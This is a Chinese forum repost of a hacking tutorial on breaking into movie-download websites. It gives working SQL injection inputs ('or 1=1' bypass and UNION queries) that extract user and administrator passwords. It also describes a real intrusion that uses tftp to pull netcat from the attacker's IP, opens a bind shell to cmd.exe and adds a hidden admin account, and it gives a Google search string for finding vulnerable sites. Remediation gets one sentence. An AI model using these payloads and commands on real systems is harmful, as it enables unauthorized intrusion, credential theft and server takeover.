设为首页繁体中文

 找回密码
 实名注册(中文)

QQ登录

只需一步,快速开始

岳飞网·微信秒登录

电脑版尽能领略岳飞网的风采岳飞网公众号、抖音期待您的原创作品“岳飞网交流中心”不能登录,请加微信13907371163及时沟通解决
查看: 1470|回复: 0

[转帖]灵活运用 Union 轻松入侵下载电影的网站

[复制链接]
岳建兵 发表于 2007-9-27 17:39:39 | 显示全部楼层 |阅读模式

  a:周末无聊,同学想让我帮他下载一些电影看,我打开 google,随便搜索了一下电影网站,点开了一个。看了一下界面,知道和电影系统关联很大。

    下载了一个电影系统,看了一下,这么多个文件,头马上大了。还是在自己电脑上运行一下吧。注册了一个用户,点了一下找回密码,别人说这里有漏洞。看了一下,像是有漏洞的界面,有三个参数,还直接把密码显示出来。好,看一下源码。

    39〈% if request(“myuserid“)=““ then %〉
    ...
    58  〈%else
    set rs=server.createobject(“adodb.recordset“
    sql=“select password from users where
    userid=’“&request(“myuserid“)&“’and city=’“&
    request(“ask“)&“’and adress=’“&request(“answer“)&“’“
    rs.open sql,conn,1,1if rs.eof and rs.bof then%〉

    这里果然没过滤。好多人都想到了可以用上面之方法注入了。能不能有更简单的方法呢?

    我仔细考虑后,想到的语句形式如下:

    select password from users where userid=‘‘
    and city=‘‘ and adress=’‘

    如果用户名,密码提示问题(city),密码提示答案(adress)和表users一行匹配,便打印这行的password。我想的过程就不写了,后来我想到了一种方法,就是利用union查询。access功能是很弱的,不能执行命令,不能导出文本,还不能注释。有个子查询可以利用之外,也就剩下这个union了。

    怎么利用呢?先在本机做实验。测试过程简略,直接写出结果。要是知道了一个该网站的一个用户名(比如abc),可以这样利用。在“你注册问题”处填: abc’ or ‘1=1(如果用户名是bcd,就变为bcd’ or ‘1=1)密码提示问题处随便填几个字母或数字,最好别有符号,容易影响结果: 比如字母a密码提示答案处随便填几个字母或数字,填个a回车后就看到该用户的密码了。其实这样一来,上面的语句就变为:

    select password from users
    where userid=‘abc’  or  ‘1=1‘
    and city=‘a‘ and adress=’a‘

    呵呵,程序无条件执行了,因为被 or ‘1=1’跳过后面的验证了。可是网站用户名也不是轻易得到的啊。别急,得到用户名一样简单。如下:在“你注册问题“处随便处填几个字母或数字,最好别有符号,容易影响结果: 比如字母a密码提示问题处和上面一样,随便填:我也填个a关键是在密码提示答案:我填的是:

    a’ union select userid from users where oklook〉=3 or ’0

    上面就是要找黄金用户的帐户名,看到用户名后再用前面的方法找到密码。可以在where后面加很多参数并赋不同的值可以得到很多帐户。按上面之填入后输入语句就变成了:

    select password from users
    where userid=‘a‘ and city=‘a‘ and
    adress=’ a’ union select  userid
    from users  where oklook〉=3 or ’0 ‘

    细心的读者看到这可能已经想到怎样得到管理员的帐号和密码,不错,也很简单。我也不写过程了,直接写出语句如下:

    得到帐号:
    select password from users
    where userid=‘a‘ and city=‘a‘ and adress=’ a’
    union select  name  from okwiantgo  where  id〉=1 or ’0 ‘
    得到密码:
    select password from users
    where userid=‘a‘ and city=‘a‘ and adress=’ a’
    union select  pwd  from okwiantgo  where  id〉=1 or ’0 ‘

    然后登陆就行了,路径格式为:

    http://网站电影路径/findaccout.asp?name=管理员帐号&pwd=管理员密码

    回车,很轻松就进管理界面了。有时findaccount.asp可能被改名了,这时只能拿个黄金帐户了。

    这个漏洞很多电影程序都有,有的程序表名不是okwiantgo(程序会报告64行属性不对),改成admin或password.,把上面的输入稍微修改一下行了。这样一来不管是多复杂的密码,或者是中文密码都没问题。再猜管理员帐户的时候,where后面的条件多变化才行,否则可能得不到超级管理员。

    这个漏洞使用很简单,危害极大,轻易可以得到管理员帐户。如果系统配置不当,在upload/uploadmovie.asp允许上传asp文件,系统就很容易换主人了。我曾经成功渗透过这样一个网站,简单过程叙述如下。

    上传一个asp程序,发现该系统运行sqlserver,通过读源文件看到了sa密码,用sqlexec连接,tftp上传nc.exe。再次dir发现nc被删了,有防火墙。用tftp上传nc.jpg肯定万无一失, tftp -i 我的ip get nc.exe nc.jpg,上传成功。在sqlexec运行

    nc.jpg -l -p 99 -e c\winnt\system32\cmd.exe

    nc想必都很熟悉了吧,上面就是在目标机器上开一个99端口监听,同时把cmd.exe重定向到这里,本地连接nc.exe -vv 目标ip 99,得到shell,而且是管理员权限。输入:

    net user abc 123456 /add && net localgroup administrators abc /add

    添加用户成功顺便加入管理员,&&意思是前面成功后面执行。该系统开着3389,省了我好多事情。好了回到正题,这个漏洞存在80%以上电影程序中,在google里搜索user/wantpws.asp,打开后发现可以输入三个参数,且把密码直接显示之都有此漏洞。修补方法,应该对三个参数进行严格验证,而且把结果发送到邮箱里更稳妥,有的网站是这样做的。

    总结:

    我写此文的目的是想说好多问题要多想多试,一个漏洞利用方法不只一种,我们要自己学会发现。入侵过程灵活多样,我们应当多动脑筋。最后叮嘱大家,免费看电影的时候可别搞破坏啊…

转自:http://www.why100000.com/show_answer.asp?autoid=1405&path=_safe
您需要登录后才可以回帖 登录 | 实名注册(中文)

本版积分规则

嗨!您好:
欢迎来到 岳飛网。
我的名字叫丫丫
很高兴能够为您服务!
如果已经注册【请立即登录并按丫丫提示一步步完成我就不会再来烦您了】
还没有账号请【实名注册(中文)】

手机版|小黑屋|岳飞网 |打赏 |岳飞网动态43090302000031

GMT+8, 2024-5-2 06:28 , Processed in 0.166104 second(s), 22 queries .

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表